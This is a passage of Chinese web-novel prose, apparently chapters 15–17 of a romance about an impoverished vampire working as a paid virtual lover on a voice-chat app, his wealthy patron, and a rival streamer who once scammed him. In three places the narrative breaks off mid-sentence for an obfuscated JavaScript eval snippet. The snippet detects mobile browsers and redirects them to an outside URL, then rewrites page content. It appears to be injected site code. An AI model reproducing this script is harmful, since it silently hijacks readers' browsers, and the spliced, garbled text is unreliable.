宁尔认识的人类并不多,知道的名字也不多。 但舟这个字,他认得。 傅宴舟。 那个拥有能够让他回到吸血鬼世界,把那么宝贵的东西当做商品一样放在橱窗里展示的男人。 那个靳伟说和他们是两个世界,不对,甚至中间隔了五个世界的男人。 银耳粥:[小耳朵?] “舟”先生叫他了。 宁尔回过神来,打字:[哥哥,我在~怎么啦?] 亲亲小耳朵:[我刚刚看到粥先生的“舟”字,想到了一个人,有点走神,不好意思回复慢啦~] 银耳粥:[男人?] 亲亲小耳朵:[嗯嗯。] 银耳粥:[前任?] 亲亲小耳朵:[没有没有,不敢不敢的。] 宁尔看到这句话,不好意思地下意识在屏幕外摇脑袋。 哪怕是网络世界的猜测,他也不敢和那个世界的男人有关联。 亲亲小耳朵:[他是一个……另一个世界的先生。听说他很厉害,但我不认识他。] 宁尔解释地很真诚。 果然,银耳粥先生没有再追问了。 亲亲小耳朵:[对了哥哥,我还有一个小小的请求不知道你可以答应吗~] 银耳粥:[说吧。] 亲亲小耳朵:[虽然我的时间里您是优先的,但我还是想和哥哥申请一下,能不能在每天晚上的时间里让我继续在语音房直播呀?对手指/对手指/] 傅宴舟坐在深夜疾驰的劳斯莱斯上,几乎是被他气笑了,拿着手机打字: [你也知道,我是优先的么?] 亲亲小耳朵:[知道的哥哥。可是、可是我今天才刚刚直播过关,如果后面都不出现的话,可能又会被踢出去了。哭哭/哭哭/] 亲亲小耳朵:[如果能在语音房做常驻,我就可以每天都赚到自己的饭钱啦。] 亲亲小耳朵:[我知道哥哥给了我很多钱够我吃很多饭,但是……但是哥哥也不会给我够吃一辈子饭的钱吖~] 傅宴舟轻微地皱了皱眉。 盛景集团多少子公司、工厂合作企业,十几万的员工。 这好像还是他第一次被人质疑,能不能养得起别人一辈子。 银耳粥:[你很能吃吗?] 啊? 银耳粥:[播吧。] 亲亲小耳朵:[谢谢哥哥,哥哥最好啦~撒花/撒花/] 亲亲小耳朵:[哥哥放心,除了直播和睡觉时间,我都是你的专属虚拟恋人。] 亲亲小耳朵:[时间不早啦,哥哥是不是要休息了?] 银耳粥:[嗯。] 傅宴舟说完这句话之后就打算把手机收起来了。 亲亲小耳朵每次说晚安都是那两句话和一样的小表情。 亲亲小耳朵:[哥哥,等一下,等一下。] 银耳粥:[嗯?] 亲亲小耳朵:[语音。] 傅宴舟看着手机上的语音条,瞥了一眼前排跟了他十年的司机,在车上点开公放。 少年青涩却婉转的嗓音从车载蓝牙里传出来,柏林之声环绕着劳斯莱斯: “晚安啦哥哥。希望你今晚做一个甜甜的梦~” “我是说,要梦到亲亲小耳朵哦~” - 宁尔一口气买了4个血包。 一次喝两包,一周就喝一次。 卖给他血包的“中介”短短一个月里价格涨了又涨,但是没关系,他现在已经有几乎5位数的金钱了。 中介告诉宁尔,涨价是因为人类世界来了更多的吸血鬼。 宁尔并不相信,这只是他涨价的借口。 就像老板说鸭血粉丝汤涨价是因为鸭子被宁尔吃完了一样。 不过宁尔还是额外给了中介3000元人民币。 他不方便在人类世界随意见吸血鬼,但他告诉中介,如果真的有遇到喝不起血快要饿死的吸血鬼的话,就用这笔钱帮助他们。 不够的话,再来找他想办法。 中介先生看着他满脸惊讶,他还帮上别人了。 明明几个月前他才是那个快要饿死的鬼。 中介先生问他是不是动用了什么吸血鬼的魔力,在人类世界谋取钱财。 宁尔不好意思地抿唇摇了摇头。 几百年以来,血族的能力都在一代又一代退化着。 尤其是这片大陆上的血族开始“学人类,树新风”的运动之后,文明化程度越来越高,所有的超能力几乎都消失殆尽。 到现在为止,血族仅有的超能力,只是那些刻在种族基因里的原始优势。 比如,力气大,跑得快。 这些能力在人类世界被一个挖掘机就可以取代。 而且由于长期喝先进的系统鬼造血血包,最新一代的吸血鬼可能连怎么咬破人类的脖子都忘记了。 其实就连宁尔自己也没有实战过…… 不过,他毕竟曾经是公爵的儿子,应该承担起帮助其他弱小吸血鬼的责任。 中介一直都觉得宁尔这个吸血鬼很与众不同。 以前觉得他长得太过漂亮,哪怕在人类世界很穷,但身上如同王子一样矜贵高雅的气质掩藏不住。 但他又确实太穷了。 哪怕真是什么小王子小公爵,能误入人类世界混到这个地步,背后肯定有复杂的原因。 他们这行有行规,好好卖血包、骗骗钱就行,吸血鬼的事儿少打听。 买完了血包,宁尔专门又绕远路去了市中心那家高档的珠宝展览馆。 就是展示傅宴舟先生拥有的那颗蓝宝石的地方。 展览馆当然不会在半夜还开门,那颗昂贵的蓝宝石也不会出现在玻璃陈列的展柜里。 不过哪怕是从展览馆张贴的海报里看看,宁尔都觉得又有了坚持下去动力。 海报定期更新,丝毫没有泛黄。 高级温馨的美陈灯照耀在橱窗里的一件件珍品上,让这个地方充满了精致和梦幻。 宁尔忍不住,拿起手机对着海报拍了一张照片。 他刚刚拍好,展览馆里忽然高大魁梧的保安推开门,警惕地看着他。 彼此之间气氛沉默,宁尔看了看自己裹得严严实实的一身黑,压低帽檐。 他轻轻往后退了一步。 保安往前走了一步。 宁尔又后退了一步。 保安又往前走了一步。 “咚”地一声,宁尔无路而退,脑袋撞在了身后的墙上,赶紧低下头捏紧手里的血包跑走了。 - 宁尔回去时候顺便给靳伟和陈元之带了两份早晨,又给自己的房子做了做家务,打开从pdd上买的木头城堡小模型,坐在桌子前组装了半天。 城堡的木头散发出刺鼻的味道,胶水太少,最后一副“画”黏了又掉。 宁尔干脆不粘了,用那把送的小刻刀,在木头上歪歪扭扭刻下两个字: go home。 他把小城堡认认真真摆放在了出租屋小桌子的正中间。 做完这一切才刚刚早上6点多,太阳照常升高,宁尔熟练地掀起床板钻进去。 宁尔钻进床里刷着手机,不知道为什么,他感觉自己这几天看字好像有点不那么清楚了。 宁尔每隔五分钟看一下时间,每隔五分钟看一眼时间。 困意渐渐袭来,每次的五分钟变得越来越漫长,宁尔的眼皮越来越低…… 不知道什么时候手机从手里滑落,有一个五分钟忽然变得漫长起来。 宁尔在朦胧睡意间抓了抓自己的头发,抬手,胳膊肘不小心碰到了床板,疼得他有了意识。 宁尔抓起手机一看时间,10:54。 “……” 宁尔瞬间坐起来顶开床板,像一颗刚刚从雨后冒出来的蘑菇, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653332|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 懵懵地给舟先生发消息: [早安吖哥哥~万物细碎,生活成诗~太阳/太阳/] 宁尔懊恼地揉着睡得乱七八糟的头发,他本来是想在舟先生早起的第一时间给他说早安的! 不管舟先生能不能看到,这都是一个合格的虚拟恋人应该做的。 宁尔呆坐着歪脑袋发呆,十几分钟后手机忽然就“叮~”了一声。 银耳粥:[早安?] 问号。 亲亲小耳朵:[大哭/大哭/呜呜呜哥哥,你是不是嫌弃小耳朵啦~] 亲亲小耳朵:[其实小耳朵等了你一个晚上的~一直等到早上的~就是、就是早上太困了,不小心睡着了呜呜呜呜呜……] 银耳粥:[的确没见过中午11点的早安。] “……” 亲亲小耳朵:[好难过、好后悔、好奔溃……呜呜呜呜] 银耳粥:[别哭了。] 亲亲小耳朵:[对不起哥哥我忍不住,呜呜呜呜呜。] 沉默了两分钟,舟先生回复他: [为什么不早上发?] 亲亲小耳朵:[那时候才6点多,太早了,我怕哥哥还没有起床。万一你被我打扰,没有休息好,上班迟到的话,就又要被老板批评啦。] 宁尔真的很担心舟先生迟到被批评,这样心情不好的时候会让他做出可怕的事情~ [我6点已经起床了。并且,我没有老板。] 亲亲小耳朵:[没有老板了??哥哥,你、你不会被炒鱿鱼了吧!~~] 屏幕对面的傅宴舟有些无奈地轻轻皱眉,嘴角微微略起的弧度还未降下,无视了秘书刚刚送来的文件: [你11点问我早安,就是想说这个?] 亲亲小耳朵:[摇头/摇头/可怜/可怜/] 银耳粥:[我不为老板工作。或者你可以理解为,我就是老板。] 傅宴舟不知道怎么给这个刚满18岁,好像对社会极度不了解的小男孩解释自己的工作。 亲亲小耳朵:[哇!哥哥!原来你不只是我的老板,还是很多人的老板呀!!] 银耳粥:[……不一样。] 亲亲小耳朵:[我知道我知道哥哥。我们之间,和所有人都不一样~哥哥,你真是老板的话,是不是在高高的楼里、大大的房间里、和多多的人一起工作呀?] 银耳粥:[嗯。] 亲亲小耳朵:[是市中心很高很高那些楼吗?] 傅宴舟稍稍皱眉。 CBD高楼林立,一百多层的写字楼里拼着几家500强企业。 如果有心用“舟”字这个信息和公司区域对照,他也不必刻意隐瞒。 银耳粥:[嗯。] 亲亲小耳朵:[哇!哥哥好厉害呀!小耳朵每次路过那些高楼的时候都会抬头看,看得脖子都酸啦~那哥哥你……] 傅宴舟做好了下一步他问“哥哥你是不是能赚多多的钱”的准备,结果小耳朵下一句却是: [哥哥,那你是不是要回家吃午饭睡午觉啦?] “……” 银耳粥:[在公司吃。] 银耳粥:[你呢?] 傅宴舟想到了蒋昀说过的小耳朵严重营养不良。 亲亲小耳朵:[我就不吃啦哥哥。工作很累,你一定要好好吃饱饱哦~] 银耳粥:[你一直都不吃午饭?] 亲亲小耳朵:[没关系啦哥哥,小耳朵已经习惯的~正好可以省点钱呢~] 傅宴舟看着省钱那两个字,不禁又皱了皱眉。 亲亲小耳朵:[真的没关系的哥哥,我只要把中午睡过去就好啦~] [你千万不用心疼我吖,也千万不要专门给我点外卖外卖和奶茶吖~] 傅宴舟看到“点外卖”那三个字,本来准备直接刷礼物的手指忽然停顿了一下。 沉默了一会儿,宁尔看到银耳粥先生发来一句话: [我,给你点外卖和奶茶吧?] 16. 第 16 章 傅宴舟的隔着屏幕说要给别人点外卖和奶茶的语气生涩不够熟练,但宁尔已经完全沉浸在自己的喜悦里了。 耶,做到了! 网骗攻略手册第一条——对方开始给你发早安晚安。 网骗攻略手册第二条——对方会每天主动开启话题找你聊天。 网骗攻略手册第三条——对方给你点外卖奶茶。 虽然前两条舟先生都没有做,但是他直接做到了第三条! 尤其元之还和他强调过,一个有钱人愿意给你刷礼物,最多只能证明他有钱。 但如果有钱人愿意用心用时间给你点外卖,希望你吃到什么好吃的、知道你什么时候在吃东西,那你们的关系就有点暧昧了。 我们的关系已迅速升温~ 明天我就和你结芬~ 宁尔在脑子里yy完之后红着脸假装惊讶: [哇,哥哥是说,要亲自给我点外卖奶茶吗……那、那多不好意思呀……] 傅宴舟本来还有些拿不准亲亲小耳朵的意思。 看到他这句故作矜持的推托之后,目光变得微妙,眉锋几不可查地上提了一下。 绕了这么大一个圈子,是想要杯奶茶。 银耳粥:[会不好意思吗?] 银耳粥:[外卖和奶茶有特殊要求么?] 亲亲小耳朵:[当然啦!] 亲亲小耳朵:[不是的不是的,我是说当然会不好意思啦哥哥~这么说的话,会让哥哥误会小耳朵就是故意和你要外卖啦~] 傅宴舟嘴角又扬了扬,打字: [说吧。要求,以及,地址。] [如果不方便可以不用具体。] 亲亲小耳朵:[嗯……外卖我想吃鸭血粉丝汤~奶茶、其实小耳朵还没有喝过奶茶,哥哥有什么推荐的口味吗?] 宁尔没有撒谎,他的确没有喝过奶茶。 他只知道这个几乎是人类世界都喜欢的美食。 一杯至少要8块左右,都快比得上一碗鸭血粉丝汤了。 银耳粥:[没喝过奶茶?] 亲亲小耳朵:[嗯……哥哥。] [哥哥你是不是嫌弃小耳朵了呀……] 过了一会儿银耳粥回复: [不是,我也没喝过。] 亲亲小耳朵:[!!真的吗舟先生?你竟然也从来没有喝过奶茶吗?……那、那要不要我给你点一杯呀?我可以问问我朋友哪个味道的好喝……] 傅宴舟没忍住抿唇。 这么笨,还学着假装出来在网上捞钱。 银耳粥:[不需要。地址。] 过了一小会儿,亲亲小耳朵报了一串地址过来,详细到了门牌号。 某某筒子楼的4单元101。 傅宴舟在地图上搜索了这个地方,与市中心的摩天大楼直线距离不过数公里,但从街景地图上来看一片极致的破旧惨败,外围还有拆了一半儿的钢筋裸露的土墙矮房。 一江之隔,宛如两个世界。 地图下面热心市民评论的房租价格让傅宴舟难以相信这是A市。 银耳粥:[你一直住这里?] 亲亲小耳朵:[以前不是啦,最近才搬来。这里怎么啦哥哥?] 宁尔心里有些忐忑。 他之前来人类世界从来没有住过这么贵的房子,害怕舟先生觉得他生活太好太奢侈了。 银耳粥:[房间有空调吗?] 亲亲小耳朵:[有大吊扇哥哥~不过小耳朵身体特别好,也不需要的。] 这句是真话。 宁尔毕竟还是一只吸血鬼,对于环境冷热的适应能力非常强。 舟先生回复慢了一些,宁尔也不想耽误他的时间,说了几句之后就嘱咐舟先生先去吃饭。 傅宴舟放下手机,肖特助刚好进来汇报明天的出差行程。 汇报过之后肖特助看了时间,顺便给傅宴舟报菜名: “傅总,今天西厨安排了小份沙拉和和牛饭,中餐是浙菜黄鱼羹,您看去哪边吃?” 傅宴舟伸出两只手指挥动表示停顿。 “肖特助,你喝过奶茶吗?” 肖特助显然愣了一下。 停顿了一下,他妥善回答: “傅总,您是指英式改良荷兰制的下午茶,还是满蒙游牧地区传统的咸口熬制奶茶?” 傅宴舟用两只手指轻撑在太阳穴上: “年轻人喝的杯装奶茶。” 肖特助:“……有一次见客户时候喝过。” “甜味牛奶和茶叶混合物?”傅宴舟挑眉。 “呃……倒也不能单纯那么说。” 一把年纪的肖特助开始回味起某个遥远夏日里那杯冰冰凉凉的饮品: “不是普通的奶和茶,用料有考究,比例有分寸。还有其他小东西。咬在嘴里□□弹弹,有的也有糯感。我当时瞥了一眼别人的,有的上边还有奶油。” “傅总,您,您该不会是想喝这种奶茶吧?” 肖特助有些惊讶。 傅宴舟这种富三代从小饮食结构营养健康严格,一口气长成188标准双开门精英男人味儿十足的身材,每天的工作餐都有专人配备,连咖啡都是专人手冲的翡翠庄园瑰夏,竟然会对这种混合糖饮感兴趣? 傅宴舟看着肖特助脸上夸张的表情,神色平静冷淡,像是在用脸问他:不行么? 肖特助:“那我现在让人……” “你去找把市面上所有出名奶茶品牌的明星产品都买一遍,找人送到这个地址。” “送到就走,别问别看。” 肖特助:“……好的傅总。” “等等。” 肖特助已经摸出手机准备快稳准狠地执行指令,傅宴舟忽然又把人叫住。 他微微思索了一下: “只挑五杯。” - 宁尔自从放下手机之后就一直在等外卖了。 他害怕睡在床板里听不清敲门声,于是就躺在床上等。 A市八月的天气越来越热了,宁尔的皮肤温感系统虽然比人类好一点,但这样的热天也忍不住热得皮肤泛红,张开嘴巴轻轻吐气。 头顶的吊扇吱吱呀呀地缓慢旋转,宁尔正盯着出神,门口响起了一阵窸窣放东西的声音。 他赶紧坐起来,整理了一下衣服,清了清嗓子,等待着鬼生中第一个外卖上门。 宁尔等了半天,每次都觉得人要敲门了,每次都没有声音,大概两分钟以后,门口才响起三声短促的敲门声,紧接着就是一阵快速的脚步声。 外卖人,好像跑了。 或者、是他听错了? 宁尔一声“来啦”卡在喉咙,有些尴尬忐忑地走到门口,小心翼翼地把门打开一个缝儿…… 整整两大包的外卖放在袋子里摆放在门口,就连外袋看起来都很精美。 刚刚外卖人的动静确实不小,对门的陈元之都听到了,顶着鸡窝头打开门一看: “我靠,小耳朵你学会点外卖了??” 宁尔显然也没想到会有这么多外卖,站在门后微微红着脸摇摇头: “不是我点的……” 陈元之愣神了一下: “之前给你送医院诊疗卡的那个没名字的游客?” “他、他有名字啦元之。” “还是……” 陈元之狐疑地看着宁尔的害羞: “还是什么?” “没什么。” 宁尔摇摇头。他不好意思说,舟先生现在用的ID名字还是自己起的呢。 “我靠,给你点了这么多奶茶外卖啊?这回真骗到大款了啊小耳朵。” 宁尔赶紧蹲下身打开外卖袋子数了数。 一、二、三、四、五。 舟先生足足给他点了五杯奶茶! “元之,你挑。” 宁尔赶紧抱起来外卖袋让陈元之挑。 他吃过陈元之和靳伟太多东西了,现在终于能请他们喝一杯奶茶了。 “人家给你的,我能挑吗?” 宁尔又把抱着的奶茶往高举了举: “没关系,可以的。” 陈元之坏笑着伸出手指把宁尔眼前耷拉下来的那缕头发给他甩上去,不客气地随手拿了一杯,吊儿郎当地把吸管叼在嘴里: “还行,没白疼你。” “还有靳伟哥的,元之你帮忙挑一杯。” “他最近每天忙得都得大半夜回来,这玩意儿不能放太久,不用给他留了。你也趁早喝啊。” “哦哦,好的。” “外卖你也拿几份吧元之。” 宁尔又用腿碰了碰地上那个巨大的外卖袋,好像有不少食物。 陈元之也没客气,蹲下翻了翻,差点没忍住“yue”出来,赶紧摆摆手转身回屋了。 宁尔也好奇地蹲下看了看,那一整袋好几份大大小小的圆盒子里,竟然全部都是不同店里的鸭血粉丝汤…… 舟先生…… 舟先生真是太懂小吸血鬼啦! - 有了舟先生的同意,宁尔晚上照样和春风哥发了消息,说他今晚还想继续在聊天室里参与直播。 春风哥二话没说就同意了。 毕竟这个随手捞的新人完完全全给他带来了意外之喜。 很快到了上播时间,宁尔准时出现在4号位上。 不知道是不是他的错觉,今天刚开播语音房的观众好像就多了不少。 果然,春风哥刚刚放完音乐试完麦开场,评论区就开始刷: [小耳朵来了吗] [小耳朵宝宝来了!!] [小耳朵开麦开麦] [玫瑰花X1 玫瑰花X1让耳宝上麦] 宁尔有些受宠若惊地看着今天的评论区,有一个他很眼熟的女生ID,这个ID前天还说他别耽误时间了快下去吧,今天就刷着玫瑰花让他上麦了。 变好快的,人。 宁尔等其他位置都试完麦之后,礼貌青涩地开麦道: [大家好,我是小耳朵。为我而来,欢乐多多~] 这是他自己编的一段开场白。 [啊啊啊宝宝今天怎么更萌了] [感觉小耳朵的声音今天更奶了] [这么快就会夹 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653333|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了春风教得吧。] [哈哈哈哈哈春风这就是你语音房带出来的兵。] [你们都在看小耳朵,只有我一个人蹲粥总吗?] [姐妹你不是一个人] [+1] 评论区刷得太快,宁尔人气太高,春风他们惯例说了几句之后就把麦给宁尔了。 宁尔有些不好意思,给春风哥发消息问自己现在说话是不是不好。 春风哥一乐,给他发了一句“有你在哥几个都赚钱”,十分大度地给宁尔让了麦。 宁尔开了麦,按照顺序邀请刚刚第一个刷玫瑰的观众上麦。 这个观众是一个女生头像,声音听起来很年轻,一连到就元气满满问: “小耳朵小耳朵,给我讲讲你今天发生的事吧。” 咦? 宁尔一瞬间以为自己听错了,糯糯地问: “宝,是我讲给你吗?没有说反吗?” 宁尔之前看这种深夜聊天室基本都是观众来倾诉自己的事情。 女生呵呵呵乐了几下: “没说反,就是想听你说!你知道吗,你第一次播我就恰好在聊天室了,我,还有我们全宿舍都觉得你特别特别可爱,你就是我们云养的崽!” “啊……” 宁尔脸一下子红了,在屏幕前不自在地吐了吐舌头。 这个女生听起来可能还没有他大,自己一个堂堂吸血鬼小子爵,怎么忽然变成一个,不对,一群女大学生的崽了…… “我,我今天……” 宁尔吞吞吐吐了一下,第一次在屏幕前让他分享他的日常,他只是一个昼伏夜出的阴暗吸血鬼,讲得会有趣吗…… 评论区很快开始催,宁尔咳嗽了一下,压下去不确定的情绪,用轻软的声音开口道: “我今天想早早发一条消息,5点多,我觉得太早;6点多,也觉得太早。于是我就撑啊撑,撑到可以发消息的时候,就不小心睡着了……” 宁尔忐忑地咽了口口水。 会不会有人骂他笨呀…… 果然,评论区都是[哈哈哈哈怎么这么笨啊小耳朵]。 [这是很有生活了。] [所以是给谁发什么信息呢?好难猜啊。] [哈哈哈哈那么早估计是早安吧。] [宝宝你说太多了暴露隐私了啊啊啊] 宁尔看到评论区都有人猜到说早安了,害怕真的暴露了什么,赶紧转移话题。 “葡萄宝”宁尔叫了那个女生的ID。 “嗯?怎么了小耳朵?” “我今天,的确有一件很特别的事。” 宁尔的语调不自觉地上扬了一点儿,丝毫没有哄人的刻意感,而是从心底里的开心。 “什么事儿呀?” “我今天……我今天第一次,喝到了奶茶。很好喝。” 宁尔说完耳机里还传来一声仿佛是吸管嗦奶茶的声音 “什么?不是吧?”葡萄没崩住,直接当了整个语音房评论区的嘴替。 [不是吧?这年代还有人没喝过奶茶??] [哪儿穿越来的古风小生?] [哈哈哈小耳朵你还有多少笑料是我们不知道的。] 不知道为什么,大家好像对他没喝过奶茶这件事很惊讶。 “葡萄宝,你很早就喝过奶茶了吗?” “当然啊,而且我最喜欢喝某茶家的芝芝葡葡冰沙,你看我的网名就是芝芝葡葡啊。” “冰沙又是什么……”宁尔小声嘀咕了一句。 评论区:[……] [我没听错吧……] [厌蠢症有点犯了。] [哥们儿,戏有点儿过了。卖惨捞点就够了,一直装蠢哭穷就纯下头男了。] [我靠楼上你说话至于这么冲吗?] [是啊,谁规定人必须得喝过奶茶?闲聊房你嘴个鸟啊?又没捞你你激动什么?] 宁尔没来得及看骂他的那个ID,眼见评论区吵起来了,赶紧着急劝架: “大家不要吵了,都不要吵了。” “我没有在卖惨,真的只是想分享一下喝到奶茶的喜悦。” 直到现在宁尔才意识到,奶茶在人类世界,好像是一种很神奇的存在。 竟然是捞钱的意思。 完了。 那舟先生肯定发现他在捞奶茶了。 宁尔紧张了起来,还没等他紧张完,葡萄上麦就到时了。 春风与你皆过客及时把麦接过去,调侃了几句控场。 5号也刚来不久,这两天一直对宁尔不错,努力跟着春风一起转移话题,都不惜假装输了赌约开始在语音房叫春风哥“老公”。 男生叫男生老公。 声音还勾勾的。 宁尔听地一激灵,还没回过神,评论区忽然出现了一个带着标的ID,直接@了宁尔: [春风,我回来了,他可以离开我的位置了吧?] 这条评论一出,整个语音房都停滞了一刻。 宁尔停得最久。 因为这个@他的ID他做人也不会忘记。 山屿。 17. 第 17 章 山屿。 就是那个骗他互.暖冲榜,直接骗掉他几百块的人类! 就是那个骗完他之后还不删除拉黑,静静地在屏幕后看他像小丑一样呜呜呜的大骗子! 是人类社会第一个骗吸血鬼的大坏蛋! 他、他怎么还敢出现在自己面前?还让自己离开这个位置? 宁尔感觉自己一瞬间气得血往脑袋上涌,像是想要把他抓住一样长按住山屿的ID,一边颤抖着手指把自己的麦打开。 下一秒,他的麦就直接被春风哥给关了。 紧接着,宁尔就收到了一条私信: [出了点儿沟通问题,你先别说话,我来协调解决。] [他就是之前那个4号。] 宁尔想起来之前春风哥拉他来房间的时候,是说4号位出了问题,无故旷工好久没进房,春风哥才不得不找他顶上的。 ……冤家路窄。 宁尔继续和他私聊:[什么问题?春风哥。] [害,他不是之前一直在四号麦播得挺好么,就是总请假,这次直接招呼都没打就旷工好多天,团里对他态度争议很大。] [你现在播得不错,一部分兄弟都同意直接让你常驻,不过确实还没播几天,也有兄弟担心你之后也跑了。] [山屿今晚开播前才忽然回来,我和他说过4号麦上有新人,这小子也不知道怎么回事儿,直接跑到评论区闹了。] 呵呵。 宁尔看着评论区山屿的话,还有这几天态度一直很冷的二号位,正在主动和山屿亲切互动。 怎么回事。 坏人骗子做事,还需要怎么回事呢。 亲亲小耳朵:[春风哥,他是骗子。] 春风与你皆过客:[什么意思?] 宁尔简单说了一下之前两个人之间的事儿。 春风与你皆过客:[你没认错人吧小耳朵?他这个网名挺多人叫的。] 亲亲小耳朵:[没有。] 他换了头像,但抹不掉两个人聊天记录。 春风与你皆过客:[你等会儿,先别冲动,信息量有点儿大。你刚刚想在直播房里说什么?他骗你□□的事儿吗?千万不能说,平台严禁这个,抓住会封号。] “……” 还会这样吗…… 宁尔放在麦克风上的手指卡壳了一下,有些泄气。 也是。 他们本来就在做一件错事。 就是谁错得更多的区别罢了。 他可以讨厌山屿骗钱,大家也可以讨厌他俩违背平台规则。 而且,山屿甚至比他早那么久在春风哥的团里,哪怕他说了,也不知道大家会不会相信。 或者,会不会站在自己这个新来的一边。 春风哥不知道又和山屿聊了些什么,在评论区的催促中打开了麦。 无论是山屿还是亲亲小耳朵,目前都是自己团队的人。 在这么多粉丝的直播房里,春风作为房主,没办法有什么导向性的话,只能大概说了一下之前山屿没播,所以找了新人来。 山屿回归没打招呼,所以撞上了。 评论区大多数是这几天被宁尔吸引来的观众。 只有零星几个是山屿的粉丝。 大多数还有部分不明所以的路人。 听到这个情况之后,立马分为几派开始为自己喜欢的主播说话,或者发表自己的观点。 评论区瞬间乱成了一锅粥。 可以趁热喝了。 起初路人还是比较中立,直到有这个直播房的老粉@山屿,问他这次又直接消失了一周,怎么还好意思回来抢麦? 评论区的风向瞬间一边倒了下去。 [对对对,而且不是一次两次了吧,好多次主播都不上麦的。] [对啊,又不是什么老团,大家都是新人一起努力,常驻了有点儿责任心行不行?] [雀氏啊。干哪行都得有规矩,这样的进厂打工早就被开了。] 山屿的粉丝虽然少,但是看到这些话也不爽了: [你上班365天全勤是吧?谁家没点事儿啊?] [别这么大火气啊家人们,都是一个团里的,这么吵以后怎么相处呀] [都是来放松娱乐的,这么严肃和上班有什么区别……] 很快,一条ID叫与你欢喜的评论非常刺眼地出现在屏幕上: [出来卖还这么矫情?哪来那么多屁事儿?] 宁尔不知道出来卖是什么意思,但他能看懂屁。 不是好话。 他皱了皱小眉毛,伸出手指点击那个与你欢喜的账号,春风他们早就忍不住了,直接在直播间里喷起来这个人。 宁尔点开那个账号,私密账号。 既不是虚拟恋人,观众的等级也不高。 怎么会直接出来骂人呢。 是不是叫“与”的都不好惹吖~ 果然,本来就乱的评论区更加雪上加霜。 等到春风他们把这个人踢出语音房之后,山屿忽然在评论区发了一句话。 山屿:[抱歉,忽然离播是我的问题。我从小都是在奶奶带大,一直相依为命,上周她车祸去世了。] “……” “……” “……” 春风他们几个在麦上的都沉默了。 评论区也一时间没有人说话。 宁尔也愣了一下。 R.I.P. 上周…… 可是,上周山屿明明还在和他骗钱吖…… 宁尔在心里小小地浮出一个“?”,难以把至亲去世的消息和大骗子联系在一起,脑子一时间有点儿乱。 评论区也乱了一会儿,山屿又说了几句,最后问题丢给了春风。 春风显然也有点儿乱,一时间差点儿没控住场,最后还是评论区的观众提议: [都不容易,都想常驻,干脆就PK呗] [好好好,就爱看点子猛男,不对,萌男pk] [不是……这有点儿不公平吧,小耳朵才播了三天] 众人你一言我一语在评论区聊,都在艾特春风让他这个房主赶紧定个规则。 春风放了会儿音乐拖延时间,大家也都默契地不刷礼物点别 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15653334|172839||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人上麦了,都在催着看这场好戏,一个小小的语音房一时间涌入了很多新观众,语音房都被抬到了新晋热度房的榜单上。 他们不是视频直播软件,小耳朵的账号等级也开不了1v1连麦。 最公平的办法只能是评论区说的那样,山屿和小耳朵轮流开麦五分钟,随便说什么,五分钟之内谁收到的礼物多就算谁赢。 不过这个方法,对小耳朵来说确实不公平。 山屿的粉丝基础,根本不是小耳朵能比的。 而且就目前看来,喜欢小耳朵的都是一些年轻女学生,基本刷不出什么大礼物。 而且看他那个性格,看到这些年轻小孩给他砸钱,八成不仅不会撒娇讨赏,还得都劝人家别砸了。 就算他昨天运气好来了个大哥救场,也不可能每天都给他救场。 语音房里乱了一会儿,春风与你皆过客的麦跳动了两秒,他刚刚开口: “小耳朵你……” “可以。” 亲亲小耳朵的麦里传来短暂但坚定的声音,像是带着点气。 春风沉默了一下:“PK可以,但今天有点儿仓促,要不过几天……” 没等春风哥说完,2号直接开麦打断了他: “老大,咱是PK又不是超模走秀,还要挑日子?” 评论区:[“打你就打你,还要选日子吗”] 2号说完直接下了麦,把山屿抬到了4号麦的位置。 山屿短暂地试了个音,声音高冷短促,仿佛隔着屏幕都能看到他的不耐烦样儿,和亲亲小耳朵的软糯完全是两个风格。 山屿:“喂,临时4号,打吗?” 宁尔清澈的声音从带着一些电流的麦里传来,声音并不高: “首先,我不叫喂。” “其次,你不认识我亲亲小耳朵了吗?山、屿。” 宁尔把他的ID故意叫得重重的,用来提醒他他们两个的过往。 果然,评论区一排排: [嗯?你们认识?] 山屿短暂地愣了一下,从耳麦里发出了一个像是不屑的哼笑声: “不认识。你认错人了吧?” “没有认错,我认错谁都不会认错你。”亲亲小耳朵语气奶凶。 “是吗?怎么认识的?” 山屿的语气里没有半点友好,好像都是对小耳朵“碰瓷”的不耐烦。 “你……你自己心里清楚,哼。” 评论区:[我没听错吧,小耳朵好像生气了?] [生气都这么可爱吗哈哈哈哈竟然会哼出来] [感觉有过节?不是一个团的吗?] [感觉不是因为抢位置这么简单。] [不是,不管怎么样,人家亲人刚走了,没必要这么针锋相对吧?] [楼上,未经他人苦,莫劝他人善。] 